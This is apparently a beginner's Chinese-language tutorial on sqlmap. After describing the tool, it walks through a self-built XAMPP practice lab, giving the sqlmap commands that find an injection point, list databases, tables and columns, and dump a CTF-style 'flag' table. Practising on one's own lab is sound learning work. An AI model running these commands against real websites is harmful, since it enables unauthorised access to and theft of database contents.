sqlmap是一个开源软件,用于检测和利用数据库漏洞,并提供了将恶意代码注入其中的选项。[1]
它是一种渗透测试工具,可在终端中提供其用户界面,从而自动检测和利用SQL注入漏洞的过程。[2]
该软件在命令行运行,可以下载用于不同的操作系统:Linux发行版,Windows和Mac OS操作系统。[3]
除了映射和检测漏洞之外,该软件还可以访问数据库,编辑和删除数据以及查看表中的数据,例如用户,密码,备份,电话号码,电子邮件地址,信用卡以及其他机密和敏感信息。。
全面支持所有注入技术:布尔,错误,堆栈,时间,联合。
准备工作:
1、背景交代:现在的网站架构越来越多,要想找到一个有着sql注入漏洞的网站练手。我这种小白,还是欠缺经验。倒不如自己搭建一个来得快,反正也是练练手。
2、利用xampp集成工具搭建一个练习环境,简单一点,只写两张页面,一张用来提交数据,一张用来后台处理数据,查询数据库得到结果。
操作步骤:
1、检测是否存在注入点,确定注入点的位置:
sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'
发现注入点在参数id上
2、查看有哪些数据库:
sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'--dbs
发现了所有的数据库,共有9个。
3、查看当前数据库
sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'--current-db
得到当前的数据库名称为:testsql。
4、查看当前数据库下有哪些表
sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'-D testsql --tables
发现该数据库下只有两个表,其中user自然是存放用户的了。如果是参加比赛的话,一般会选择查看flag这个表(很明显的提示嘛)。
5、查看flag表有哪些列:
sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'-D testsql -T flag --columns
发现该表只有一列:flag且是varchar(100)类型的。
6、查看该表的内容:
sqlmap-u'http://192.168.18.107/testsql/sqll.php?id=1'-D testsql -T flag -C flag --dump
只有一列,所以—C后只跟一个参数,如果是多列,用逗号隔开。参数 --dump 将转储DBMS数据库条目。
得到该表的内容。
小白一个,不对之处,还请批评指正,大神轻喷。